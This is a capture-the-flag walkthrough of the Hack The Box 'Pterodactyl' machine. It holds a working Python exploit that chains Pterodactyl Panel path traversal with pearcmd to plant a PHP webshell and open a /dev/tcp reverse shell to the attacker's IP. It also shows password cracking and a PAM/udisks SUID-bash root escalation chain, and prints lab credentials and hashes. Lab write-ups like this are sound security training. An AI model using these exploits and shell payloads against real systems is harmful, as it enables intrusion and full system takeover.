Post

HTB Pterodactyl Writeup – Full Walkthrough

A Hack The Box Pterodactyl writeup, the second box from Season 10 - Underground. This is a Linux machine and is rated with a difficulty of Medium . Pterodactyl was released on 2026-02-07.

HTB Pterodactyl Writeup – Full Walkthrough

Achievement

Enumeration

1
nmap -sC -sV -oN nmap -p- --min-rate 10000 pterodactyl.htb

Findings

  • Port 80 - Hosting a webserver for a ‘Minecraft Server’ via nginx. nmap_scan

pterodactyl_home_page

I initially thought to add play.pterodactyl.htb to my /etc/hosts file

1
curl -v -L http://play.pterodactyl.htb

play_pterodactyl_htb_curl_request Just leads to a 302 redirect to http://pterodactyl.htb, so nothing interesting here.

Next was the link to the changelog. pterodactyl_changelog_txt This reveals some critical information:

  • Subdomain configurations
  • There is a Pterodactyl Panel v1.11.10
  • The web server utilises PHP-FPM and PHP-PEAR
  • phpinfo() is currently enabled

Subdomain enumeration

1
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://pterodactyl.htb:80/ -H 'Host: FUZZ.pterodactyl.htb' -fs 145

-fs was used to hide response sizes of 145 pterodactyl_subdomain_enumeration

Adding panel.pterodactyl.htb to my /etc/hosts file revealed the admin panel. pterodactyl_panel

Pterodactyl is a free, open-source game server management panel built with PHP, React, and Go. Designed with security in mind, Pterodactyl runs all game servers in isolated Docker containers while exposing a beautiful and intuitive UI to end users.”

pterodactyl_homepage pterodactyl_oss

CVE-2025-49132 is a vulnerability with a CVSS score of 10.0 CRITICAL that affects versions prior to 1.11.11, and since the change log shows we’re using version v1.11.10, there is confidence that our target is vulnerable.

This CVE allows for unauthenticated Arbitrary RCE by abusing the /locales/local.json endpoint, combined with the locale and namespace query parameters. It can be used to read credentials from the Panel’s configuration, or execute code.

The following PoC from Exploit DB tests the application for vulnerability and dumps database credentials initial_poc

Vulnerable endpoint

1
http://panel.pterodactyl.htb/locales/locale.json?locale=../../../pterodactyl&namespace=config/database

exposed_data_poc We get some MariaDB database credentials: pterodactyl:PteraPanel

These were not re-used for the admin console, so another approach is needed: invalid_credentials

Other exposed endpoints like http://panel.pterodactyl.htb/locales/locale.json?locale=../../../pterodactyl&namespace=config/app give us access some more useful information

1
App key: base64+Luk7P9o4hM+gl4UiMJqcbTSThY=

config_app_data

With an APP_KEY, it is possible to:

  • Log in as real users by forging cookie
  • Hijack Admin accounts, without knowing passwords
  • Inject payloads that trigger RCE

Though after a considerable amount of time looking into this - I didn’t believe that APP_KEY abuse was the correct approach.

Getting User

Looking into the Pterodactyl Panel source code, it appears when we query with locale and namespace it reads panel_github

i.e ?locale=../../../pterodactyl&namespace=config/database executes database.php (located in config/database.php of the panel repo) and returns the sensitive data we saw earlier: database_php

From the changelog.txt I discovered early into the enumeration - the system is using PEAR (PHP Extension and Application Repository).

Since we know we can execute .php files by navigating endpoints, it should be possible to abuse other PHP functions:

1
<..snip/.>?locale=../path/to/dir&namespace=file #(.php)

I found the following PoC that automated this exploit to upload a webshell and execute it by using the PEAR `` Start a netcat listener:

1
nc -lvnp 4445

Edit and execute the PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3

# Usage :
# First change the host variable to your target host (without http://)
# Change the pear_path variable if PEAR is located in a different path on the target system
# Then change the your_ip and your_port variable to your listener IP and port
# Set up a listener on your machine (e.g., nc -lvnp 9001)
# Finally run the script and check your listener for a shell
#=============================================================================================================

import sys, os,time

pear_path = "/usr/share/php/PEAR" 
your_ip = "10.10.15.57" 
your_port = "4445" 
host="panel.pterodactyl.htb" 
p_rev = f"%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{your_ip}%2F{your_port}%200%3E%261" 
p_createfile = "echo\\$\\\\{IFS\\\\}PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg==\\$\\\\{IFS\\\\}|\\$\\\\{IFS\\\\}tee\\$\\\\{IFS\\\\}1.txt"
p_decode = "cat\\$\\\\{IFS\\\\}1.txt\\$\\\\{IFS\\\\}|\\$\\\\{IFS\\\\}base64\\$\\\\{IFS\\\\}-d\\$\\\\{IFS\\\\}|\\$\\\\{IFS\\\\}tee\\$\\\\{IFS\\\\}webshell.php"
# Ugly but have to use curl since the package requests won't allow us to send characters like '{' without encoding them

print("[+]Begin Creating Webshell..")
#payload 1
os.system(f"curl \"http://{host}/locales/locale.json?+config-create+/&locale=../../../../..{pear_path}&namespace=pearcmd&/<?=system('{p_createfile}')?>+/tmp/payload.php\" > /dev/null 2>&1")
os.system(f"curl \"http://{host}/locales/locale.json?locale=../../../../../tmp&namespace=payload\" > /dev/null 2>&1")
time.sleep(5)

print("[+]Begin Decoding Webshell..")
#payload 2
os.system(f"curl \"http://{host}/locales/locale.json?+config-create+/&locale=../../../../..{pear_path}&namespace=pearcmd&/<?=system('{p_decode}')?>+/tmp/payload.php\" > /dev/null 2>&1")
os.system(f"curl \"http://{host}/locales/locale.json?locale=../../../../../tmp&namespace=payload\" > /dev/null 2>&1")
time.sleep(5)

os.system(f"curl \"http://{host}/webshell.php?cmd={p_rev}\"  > /dev/null 2>&1 &")
print("[+]Webshell Created Successfully..")

print("Done ! Check your listener now..")
1
python3 exploit.py

reverse_shell_proof We have a shell!

There are two users, headmonitor and phileasfogg3 listing_home_users

We have permission to read the user flag from phileasfogg3’s home directory. We do not have permission to view headmonitor’s directory cat_user_flag_txt

We know there is a mariadb database being hosted on this server from our previous enumeration. Let’s see if we can extract any credentials from there. mariadb won’t function properly in the current shell we have, so we can stabilise with the following set of commands:

1
2
3
4
5
script /dev/null -c bash
stty raw -echo; fg
export TERM=xterm
export SHELL=bash
stty rows 40 columns 120

We can now connect to the MariaDB instance:

1
mariadb -h 127.0.0.1 -u pterodactyl -pPteraPanel panel

maria_db_panel

Listing the Tables

1
SHOW TABLES;

maria_db_show_all_tables

Listing user_ssh_keys and users tables

1
2
3
4
SELECT * FROM user_ssh_keys;

SELECT * FROM users;

maria_db_show_user_details

The users table contained valuable information, notably the username and password has of the users headmonitor and phileasfogg3.

1
2
phileasfogg3:$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
headmonitor:$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2

Unfortunately these are bcrypt hashes which can take a while to crack. Fortunately I managed to get the phileasfogg3 user’s password very quickly with a dictionary attack.

1
john hash.txt -w=/usr/share/wordlists/rockyou.txt

phileas_password_cracked phileasfogg3:!QAZ2wsx

These credentials could be subject to password re-use. I tested this by creating a new SSH into the machine as phileasfogg3

1
ssh [email protected] #enter !QAZ2wsx as pass

ssh_success

Getting Root

Once I had the user, I did some basic checks: Check sudo privileges sudo_l_output Nothing here.

linpeas.sh linpeas.sh returned nothing of particular interest.

At this point it seemed like the priv esc would be quite vague.

OS Release Checking the OS version revealed that we were on openSUSE Leap 15.6. os_release_details

With this information I looked for some vulnerabilities relating to opensuse with “opensuse leap 15 exploits 2025” returning a promising result:

open_suse_15_2025_exploits

Pairing CVE-2025-6018 and CVE-2025-6019 together we can abuse PAM to go from a Local Privilege Escalation (LPE) to full Root. This Blog post from Qualys outlines the premise of this attack.

CVE-2025-6018 This vulnerability aims to allow a remote attacker to trick the system’s polkit (PolicyKit) to think that the attacker is physically at the machine by manipulating their ‘seat’ and session allowing them to run commands that usually restricted in remote/untrusted sessions. Commands could include rebooting or powering the machine off, and disk mounting etc.

CVE-2025-6019 Targets a vulnerability in libblockdev and how udisks daemon interacts with it when resizing an XFS file system. During the resize process udisks uses libblockdev to temporarily mount the filesystem under /tmp. This mount does not enforce nosuid or nodev security options. This allows an attacker to mount an XFS image that contains a malicious set-user-ID executable (e.g., a modified bash). When executed, this binary can spawn a full root shell.

These publicly available Proofs-of-Concept helped me to manually exploit this machine: Exploit-DB 52386 and Metasploit PoC

Part 1 - CVE-2025-6018 PAM - allow_active spoof

The aim of this exploit

Validate Vulnerability

According to the OpenSUSE security notes, this CVE was patched in version pam >= 1.3.0-150000.6.83.1. We can verify the currently installed version of PAM with:

1
rpm -qa pam

checking_pam_version_rpm pam-1.3.0-150000.6.66.1 IS vulnerable to CVE-2025-6018.

Create Malicious PAM Environment file

We need to create a malicious ~/.pam_environment file for our low privilege user.

1
vim ~/.pam_environment
1
2
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1

create_malicios_pam_env

Verify Malicious PAM Environment

We need to log out and log back in for the PAM environment to take effect.

1
logout

Once logged back in, run this command to check if we have permission to reboot the machine:

1
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot

If granted with the ('yes',) output - we have allow_access. This shows that the computer thinks we are physically present at the machine. validate_spoofed_pam_environment We are now primed to escalate priviliges.

Part 2 - CVE-2025-6019 - LPE to Root

Now that we have spoofed PAM, we can abuse CVE-2025-6019

To sum up this part of the attack chain we:

  1. Create a local empty image
  2. Format the image to xfs
  3. Mount the new xfs image and copy the bash executable into it with the 04555 SUID bit set
  4. Unmount the image
  5. Copy the malicious image to the target host
  6. Create a loop device
  7. Make the busy loop
  8. Trigger a resize whilst the loop is busy
  9. Run the bash executable with -p

Creating malicious XFS image

On our local machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Create raw image disk file - 300mb of 0's (otherwise mkfs wont work)
dd if=/dev/zero of=/tmp/xfs_image.img bs=1M count=300

# Quitely convert create xfs img
mkfs.xfs -q /tmp/xfs_image.img

# Create a mount directory
mkdir -p /tmp/xfs_mount

# Populate XFS image with SUID-root bash
sudo mount -o loop /tmp/xfs_image.img /tmp/xfs_mount
sudo cp /bin/bash /tmp/xfs_mount/bash
sudo chmod 04555 /tmp/xfs_mount/bash
ls -la /tmp/xfs_mount # confirm SUID bit set
sudo umount /tmp/xfs_mount

creating_malicious_xfs_image

Upload XFS image to machine

Use SCP to upload the image to the pterodactyl machine:

1
scp /tmp/xfs_image.img [email protected]:~/

Takes ~1min

transfer_malicious_xfs

Map the XFS Image with udisks

On the target machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Kill GVFS monitor
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null

# Create loop device (Copy 'loopX' value)
udisksctl loop-setup --file ~/xfs_image.img --no-user-interaction

# Start Busy Loop for 30 seconds to give us time to trigger a resize
while true; do /tmp/blockdev*/bash -c 'sleep 30' && break; done 2>/dev/null &

# Trigger resize (replace loop number with the one from above ) - should fail with "target is busy"
# Edit loopX
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loopX --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

# Find the SUID bash executable (/tmp/blockdev.XXXXX/bash)
find /tmp -maxdepth 2 -name bash -perm -4000 -type f 2>/dev/null | head -1

# Run the bash executable with `-p`
./bash -p

gaining_root_shell_via_malicious_xfs_image And we have root.

This post is licensed under CC BY 4.0 by the author.